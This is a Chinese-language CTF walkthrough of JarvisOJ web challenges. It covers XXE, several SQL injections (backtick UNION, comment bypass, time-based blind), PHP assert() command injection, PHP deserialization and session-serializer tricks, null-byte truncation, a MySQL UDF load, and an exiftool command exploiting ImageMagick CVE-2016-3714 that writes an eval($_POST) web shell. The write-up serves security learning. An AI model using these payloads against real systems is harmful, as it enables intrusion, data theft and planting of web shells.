jarvisoj web wp

10月后刷的,发现自己果然还是只菜鸡orz

PORT51

本来以为是访问51端口,发现不对,是要用自己的51端口取访问
不过不知道为什么电脑上不行,只能上vps用curl命令获得flag

LOCALHOST

抓包,加上X-Forwarded-For:127.0.0.1得flag

Login

先抓个包,tips里给了sql
看语句应该是要md5的闭合绕过,于是用ffifdyop解决

api调用

这题题目提示flag在/home/ctf/flag.txt里
进去抓包抓到一个json格式打包的数据,查看前端源码

发现有个XMLHttpRequest对象,说明后台有可能能够处理xml
于是就尝试XXE攻击
先把Content-Type改成application/xml
然后传一个外部实体过去

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY flag SYSTEM "file:///home/ctf/flag.txt">
]>
<flags>&flag;</flags>

得flag

admin

先抓包,没发现什么,于是试着查robots.txt

发现admin_s3cr3t.php,然后打开发现flag

提交后提示是假flag,于是再抓包,发现admin参数,修改为1后得flag

WEB?

看到有登录先尝试注入,好像没什么用就抓包,发现返回了一个json文本也没什么用
然后又在前端找到了一个app.js

然后用chrome,点击{}处格式化代码然后复制到编辑器里
然后搜索Wrong Password!!

读一下,大概就是判断checkpass这个函数返回值是否为true,true就Success。于是去查这个函数

然后这个函数返回的时r类的checkpassREACT_HOT_LOADER__变量,于是再去查一下这个变量

再读一下这个函数,可以知道这是在算一个25元方程的解

手算是不可能手算的,python一波解决,解得flag

babyphp

打开查看源码发现注释了个flag的提示

本来以为这样就可以了,不过果然想多了,于是点开其他的看看

提示了GIT,就觉得可能有什么东西,查了一下说是有git文件泄露在.git,于是用GitHack查一下

读源码

过滤了..,同时有assert()可利用,不过不太熟练,用别人写的payload得出
‘.system(‘cat%20templates/flag.php’).’
这里system()先运行,然后说是system是会直接输出的,而于cat命令是读取,于是就直接把flag.php输出了
不知道为什么直接写到url里不行,可能有编码问题吧

神盾局的秘密

查源码发现应该是提示读取文件

于是用base64编码把index.php,sheild.php,showimg.php得到

于是用base64编码把index.php,sheild.php,showimg.php得到

这里不能直接pctf.php获取,只能通过反序列化
于是构造?class=O:6:”Shield”:1:{s:4:”file”;s:8:”pctf.php”;}得flag

Inject2

说是要找源码,就扫一波后台看看
发现然后在index.php~中得到源码

一开始一直在纠结config.php,没想到攻破点是desc
这里的desc和排序的那个不一样,在用`注明时,后面会检测为表名,然后desc的作用为describe,用来描述表
然后注入点在当desc后有两个表名时,若第一个表名存在语句就会正确,同时第二个表名会被认为是第一个表名的别名。可以通过这个来绕过第一个,同时两个反引号在select中也是能作为表名的标识符
于是paylaod就:

1
2
3
4
test` `union select 123
test` `union select group_concat(table_name) from information_schema.tables where table_schema=database() limit 1,1
test` `union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745f666c6167 limit 1,1
test` `union select group_concat(flagUwillNeverKnow ) from secret_flag limit 1,1

现在才知道表名后就可以直接union select,我还是太菜了orz
还有反引号有一定注释的作用,因为未知原因mysql里可以一个反引号就标注为表名,此时反引号后的都会作为表的别名,只要是在能用别名的地方反引号能作为注释使用

Simple Injection

确实是道简单的注入
尝试 username=admin'# 提示密码错误,说明没过滤’和#
然后尝试 username=admin' or 1# 却提示用户名错误,估计是过滤了or或空格
然后尝试 username=admin' or'# 却是密码错误有点迷,猜测不能有一个以上的空格之类的?
于是就 username=admin' or/**/1# 成功提示密码错误
接着就 username=admin' union/**/select/**/1# 成功提示密码错误
然后 username=admin' union/**/select/**/1#&password=1 还是密码错误,也许有md5()加密
最后 username=admin' union/**/select/**/md5(1)#&password=1 出flag

PHPINFO

读码,先添加参数phpinfo得到phpinfo
然后还能看到当该脚本运行时,序列化的方式是php

但可以看到,session中序列化的方式是php_serialize,于是就产生了漏洞
若我们写这句代码: $_SESSION['name'] = 'spoock';
当使用php的序列化方式为php时,储存的方式是: name|s:6:"spoock";
而php_serialize则是 a:1:{s:4:"name";s:6:"spoock";}
当我们传入一个值: $_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}'
在session进行php_serialize的序列化时,会成:
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
但当用php进行反序列化时,会识别|,将前面的都认为时变量名,后面为值,于是就:
xxarray(1) { ["a:1:{s:4:"ryat";s:30:""] => object(A)#1 (1) { ["a"] => string(2) "xx"}}
通过这样,就将一个类给传入脚本中了
然后在这里,我们并没有看到能传入变量的地方

php有session.upload_progress.enabled这样的一个配置,开启是,当post中有变量名与session.upload_progress.name的值相同时,会往session储存数据,以此来监测上传进度
这里phpinfo显示session.upload_progress.enabled开启,于是我们可以利用这个来向session里存入变量
在前端构造一下

随便传点东西获取报文
然后获取序列化要的

爆出目录下文件

再从phpinfo里获取路径
爆出flag

先尝试在submit上传一波图片,然后再view那里读取(这里有点坑,不知道这么想的参数传入那用了个+号),发现文件是保存在uploads/下
然后上传张图片(直接想传php是不行的,这里对文件的IMME进行了检测)用bp抓包,往图片里加一句话木马
尝试用php去然而发现被过滤了,于是尝试script的方法成功: <script language='php'> echo "123"; </script>

然后读取upload/(…).jpg%00就行(这里page参数读取时会自动添加.php,于是需要%00去截断)

IN A Mess

F12发现index.phps,打开得到源码

要求$b长度大于5,同时第一个字符为4且又不能为4
构造 ?id=0.0&b=%004dasdasdas&a=php://input
然后post个1112 is a nice lab!得到一个新的地址/^HT2mCpcvOLf
进去,然后过滤了好多东西,于是尝试盲注
语句:

1
2
5||(selselectect(sleep(ascii(mid(((selselectect(group_concat(schema_name))frfromom(information_schema.schemata)))frfromom(1)for(1)))=50)))
5||(selselectect(sleep((selselectect(length(group_concat(schema_name)))frfromom(information_schema.schemata))=50)))

不过在查xml这三个ascii码时会直接弹出waf,于是将得到的flag:
PCTF{Fin4 y_U_got_ 7_C0ngRatu ation5}
猜测为
PCTF{Fin4lly_U_got_ 7_C0ngRatulation5}
但有一个不行,只能一个个试,最后成功试出
PCTF{Fin4lly_U_got_i7_C0ngRatulation5}
不过看别人的wp这道题好像可以直接注入,亏大了orz

Re?

这题给了个so文件,提示了help_me函数,不过还是没什么头绪,看wp才知道so文件是可以在Linux上导入数据库的,于是就有了一波操作
create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
用这条语句定义help_me函数同时将so文件导入,然后提示getflag函数,然后用同样方法创建导入即可

图片上传漏洞

又成功考到了我的知识盲点,常规操作全部gg。然后扫了一下发现test.php,打开是phpinfo,然而还是不会orz
看大佬的wp才知道是imagick这的漏洞(CVE-2016-3714)

大概就是这个imagick的源码里有很多占位符,然后有个%l是图片的exif label信息,同时这个%l正好在一个命令执行的位置,于是产生了命令执行漏洞
用exiftool执行该命令:
exiftool -label="\"|/bin/echo \<?php \@eval\(\\$\_POST\[x\]\)\;?\> > /opt/lampp/htdocs/uploa ds/x.php; \"" xxx.jpg (好像png被禁用了)
然后filetype修改为show(这个漏洞只有show或win文件的才会触发)

然后上菜刀得flag